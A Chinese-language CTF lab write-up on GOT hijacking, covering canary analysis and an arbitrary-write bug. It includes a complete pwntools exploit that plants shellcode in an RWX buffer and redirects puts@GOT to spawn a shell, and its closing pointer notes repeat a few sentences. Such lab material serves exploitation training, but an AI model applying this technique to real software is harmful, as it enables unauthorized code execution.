[NTUSTISC pwn LAB 4]gothijacking
1、检查保护
开启了Canary栈溢出保护,同时有可读可写可执行的段,got表可写入。
2、程序分析
(1)静态分析
一般带canary的栈保护措施都会向栈中写入一串随机数,然后执行完某个步骤进行随机数比对,若相同则继续执行,若不同则退出程序。通过观察反汇编代码,输出what’s your name后需要向name所在地址中输入0x40长度的数据。name在bss段的长度为:0xBF-0X80+1=64。通过检查保护措施看到有RWX的段,是否可以通过向name中写入shellcode然后将程序执行流指向name的起始地址呢?此时需要进行栈溢出控制返回地址,但是由于canary的存在,栈溢出的方式去控制程序执行流需要泄露canary或ROP的方式,并且read函数的长度也没有超出大小。继续观察反汇编代码,输出Where do you want to write?,然后需要输入64位无符号数。
“%lld"和”%llu"是linux下gcc/g++用于long long int类型(64 bits)输入输出的格式符。void *buf则为“无类型指针”,void* 可以指向任何类型的数据。但是反汇编代码中并没有对*buf指针进行初始化,[rsp+0h] [rbp-10h]指明了其在栈上的位置。通过输入scanf输入长度为8字节数据后,指针变量buf中存储的就是输入的地址。程序继续执行到read函数,向buf也就是之前输入的地址中输入长度为8的数据,程序继续执行。
canary 机制
fs为段寄存器,程序从fs:28h
处取 8 字节的值放在栈上,Canary值在rbp到rsp之间(并不一定是rbp-8的位置)。
.text:000000000040071F mov rax, fs:28h
.text:0000000000400728 mov [rbp+var_8], rax
.text:000000000040072C xor eax, eax
.text:0000000000400804 xor rcx, fs:28h
.text:000000000040080D jz short locret_400814
.text:000000000040080F call ___stack_chk_fail
函数返回前,再次从fs:28h
处将值取出,与栈上的值进行比较,如果改变则终止程序。
(2)动态分析
3、漏洞利用
(1)利用思路
该程序存在任意地址写的漏洞,通过向存在RWX权限的name数组中写入shellcode,然后劫持puts的plt表项到name的起始地址,即可控制程序执行流。进而获取shell。
(2)利用过程
1)shellcode生成
sc = asm(shellcraft.sh())
2)name地址获取
3)puts@plt获取
objdump -d gothijack
4)exp编写
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./gothijack")
p.recvuntil("?\n")
sc = asm(shellcraft.sh())
p.send(sc)
p.recvuntil("?\n")
p.sendline(str(0x601018))#注意scanf与read对应sendline与send
p.recvuntil(": ")
p.send(p64(0x601080))
p.interactive()
4、动态验证
查看0x601018地址,此时还是put@plt,并未改变。0x10gx 0x601018
通过DEBUG信息发送的信息已经成功存储到name中。x/20i 0x601080
进入read函数发现put@plt更改为name的地址。
最后成功获取shell.
5、指针复盘
假设定义一个指针p。那么会经常使用到三个符号:p、*p、&p
p是一个指针变量的名字,表示此指针变量指向的内存地址,如果使用%p来输出的话,它将是一个16进制数。
而*p表示此指针指向的内存地址中存放的内容,一般是一个和指针类型一致的变量或者常量。
&是取地址运算符,&p就是取指针p的地址。
指针p同时也是个变量,既然是变量,编译器肯定要为其分配内存地址,就像程序中定义了一个int型的变量i,编译器要为其分配一块内存空间一样。
指针类型一致的变量或者常量。
&是取地址运算符,&p就是取指针p的地址。
指针p同时也是个变量,既然是变量,编译器肯定要为其分配内存地址,就像程序中定义了一个int型的变量i,编译器要为其分配一块内存空间一样。
而&p就表示编译器为变量p分配的内存地址,而因为p是一个指针变量,这种特殊的身份注定了它要指向另外一个内存地址,程序员按照程序的需要让它指向一个内存地址,这个它指向的内存地址就用p表示。而且,p指向的地址中的内容就用*p表示。